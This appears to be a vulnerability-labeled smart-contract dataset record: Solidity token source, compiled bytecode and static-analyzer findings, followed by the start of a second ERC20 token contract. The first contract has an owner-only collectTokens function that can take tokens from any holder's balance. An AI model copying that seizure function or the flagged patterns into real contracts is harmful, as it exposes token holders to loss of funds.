canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b1565b341561042c57600080fd5b61014d600160a060020a0360043516602435611224565b341561044e57600080fd5b610162600160a060020a036004351660243561130c565b341561047057600080fd5b610162600160a060020a03600435166113e7565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113fc95505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114c79050565b341561054757600080fd5b610235600160a060020a03600435166115c9565b341561056657600080fd5b61014d6004356115db565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115fb565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162695505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118d895505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611ba6565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4195505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611f9916565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fab16565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123e683398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123d3565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f9916565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fab16565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611f9916565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123e68339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fab16565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fab16565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123e68339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610f9f846305f5e10063ffffffff611fba16565b9350610fb38551859063ffffffff611fba16565b600160a060020a03331660009081526008602052604090205490925082901015610fdc57600080fd5b5060005b845181101561116457848181518110610ff557fe5b90602001906020020151600160a060020a03161580159061104a5750600a600086838151811061102157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561108f5750600b600086838151811061106157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109a57600080fd5b6110de84600860008885815181106110ae57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fab16565b600860008784815181106110ee57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061111e57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3600101610fe0565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611f9916565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111b96123d3565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461123f57600080fd5b6000811180156112685750600160a060020a038216600090815260086020526040902054819010155b151561127357600080fd5b600160a060020a03821660009081526008602052604090205461129c908263ffffffff611f9916565b600160a060020a0383166000908152600860205260409020556005546112c8908263ffffffff611f9916565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006113166123d3565b60008311801561133f5750600160a060020a0333166000908152600a602052604090205460ff16155b80156113645750600160a060020a0384166000908152600a602052604090205460ff16155b80156113875750600160a060020a0333166000908152600b602052604090205442115b80156113aa5750600160a060020a0384166000908152600b602052604090205442115b15156113b557600080fd5b6113be84611fe5565b156113d5576113ce848483611fed565b91506113e0565b6113ce848483612250565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114265750600160a060020a0333166000908152600a602052604090205460ff16155b801561144b5750600160a060020a0384166000908152600a602052604090205460ff16155b801561146e5750600160a060020a0333166000908152600b602052604090205442115b80156114915750600160a060020a0384166000908152600b602052604090205442115b151561149c57600080fd5b6114a584611fe5565b156114bc576114b5848484611fed565b9050610c1a565b6114b5848484612250565b60015460009033600160a060020a039081169116146114e557600080fd5b60008351116114f357600080fd5b5060005b8251811015610e875782818151811061150c57fe5b90602001906020020151600160a060020a0316151561152a57600080fd5b81600a600085848151811061153b57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157957fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114f7565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115f657600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600080600080855111801561163c575083518551145b80156116615750600160a060020a0333166000908152600a602052604090205460ff16155b80156116845750600160a060020a0333166000908152600b602052604090205442115b151561168f57600080fd5b5060009050805b84518110156117e15760008482815181106116ad57fe5b906020019060200201511180156116e157508481815181106116cb57fe5b90602001906020020151600160a060020a031615155b80156117215750600a60008683815181106116f857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117665750600b600086838151811061173857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177157600080fd5b61179b6305f5e10085838151811061178557fe5b906020019060200201519063ffffffff611fba16565b8482815181106117a757fe5b602090810290910101526117d78482815181106117c057fe5b90602001906020020151839063ffffffff611fab16565b9150600101611696565b600160a060020a0333166000908152600860205260409020548290101561180757600080fd5b5060005b84518110156111645761183d84828151811061182357fe5b90602001906020020151600860008885815181106110ae57fe5b6008600087848151811061184d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061187d57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528684815181106118b557fe5b9060200190602002015160405190815260200160405180910390a360010161180b565b6001546000908190819033600160a060020a039081169116146118fa57600080fd5b6000855111801561190c575083518551145b151561191757600080fd5b5060009050805b8451811015611b7d57600084828151811061193557fe5b90602001906020020151118015611969575084818151811061195357fe5b90602001906020020151600160a060020a031615155b80156119a95750600a600086838151811061198057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119ee5750600b60008683815181106119c057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119f957600080fd5b611a0d6305f5e10085838151811061178557fe5b848281518110611a1957fe5b60209081029091010152838181518110611a2f57fe5b9060200190602002015160086000878481518110611a4957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a7857600080fd5b611ad1848281518110611a8757fe5b9060200190602002015160086000888581518110611aa157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611f9916565b60086000878481518110611ae157fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b148482815181106117c057fe5b915033600160a060020a0316858281518110611b2c57fe5b90602001906020020151600160a060020a03166000805160206123e6833981519152868481518110611b5a57fe5b9060200190602002015160405190815260200160405180910390a360010161191e565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611fab16565b60015433600160a060020a03908116911614611bc157600080fd5b600160a060020a0381161515611bd657600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c6b5750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c905750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cb35750600160a060020a0333166000908152600b602052604090205442115b8015611cd65750600160a060020a0385166000908152600b602052604090205442115b1515611ce157600080fd5b611cea85611fe5565b15611f8357600160a060020a03331660009081526008602052604090205484901015611d1557600080fd5b600160a060020a033316600090815260086020526040902054611d3e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d73908563ffffffff611fab16565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc15780518252601f199092019160209182019101611da2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e52578082015183820152602001611e3a565b50505050905090810190601f168015611e7f5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ea357fe5b826040518082805190602001908083835b60208310611ed35780518252601f199092019160209182019101611eb4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001611f91565b611f8e858585612250565b90505b949350505050565b600082821115611fa557fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fcd57600091506113e0565b50828202828482811515611fdd57fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201557600080fd5b600160a060020a03331660009081526008602052604090205461203e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054612073908563ffffffff611fab16565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561210c5780820151838201526020016120f4565b50505050905090810190601f1680156121395780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561215957600080fd5b6102c65a03f1151561216a57600080fd5b505050826040518082805190602001908083835b6020831061219d5780518252601f19909201916020918201910161217e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227657600080fd5b600160a060020a03331660009081526008602052604090205461229f908463ffffffff611f9916565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122d4908463ffffffff611fab16565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123215780518252601f199092019160209182019101612302565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123e68339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b2c34fdd75eb066960e12e1606eb15e1779875b69a84122ebd3c3f602ec73e860029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
8,525
0x4c5626222c2453353f1f55e00e2b255d367e6402
/** *Submitted for verification at Etherscan.io on 2021-06-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = 0x818081AFb3B352cb1cC061bCfB025fb2814AC008; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BNIXGold is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _decimals = 0; _totalSupply = 1000000 * uint(10) ** _decimals; _name = "BNIX Gold Futures Betconix"; _symbol = "BNIXGold"; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063dd62ed3e146102d5578063f2fde38b14610303576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101996103d7565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dd565b6101e9610446565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561044f565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610485565b6102596104a0565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104af565b61017d6004803603604081101561029357600080fd5b506001600160a01b038135169060200135610510565b61017d600480360360408110156102bf57600080fd5b506001600160a01b03813516906020013561055f565b610199600480360360408110156102eb57600080fd5b506001600160a01b038135811691602001351661056c565b6103296004803603602081101561031957600080fd5b50356001600160a01b0316610597565b005b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103ce338484610696565b50600192915050565b60035490565b60006103ea848484610782565b61043c843361043785604051806060016040528060288152602001610a5e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d4565b610696565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ce918590610437908661096b565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103ce338461043785604051806060016040528060258152602001610acf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d4565b60006103ce338484610782565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105f6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661063b5760405162461bcd60e51b81526004018080602001828103825260268152602001806109f06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106db5760405162461bcd60e51b8152600401808060200182810382526024815260200180610aab6024913960400191505060405180910390fd5b6001600160a01b0382166107205760405162461bcd60e51b8152600401808060200182810382526022815260200180610a166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b8152600401808060200182810382526025815260200180610a866025913960400191505060405180910390fd5b6001600160a01b03821661080c5760405162461bcd60e51b81526004018080602001828103825260238152602001806109cd6023913960400191505060405180910390fd5b61084981604051806060016040528060268152602001610a38602691396001600160a01b03861660009081526001602052604090205491906108d4565b6001600160a01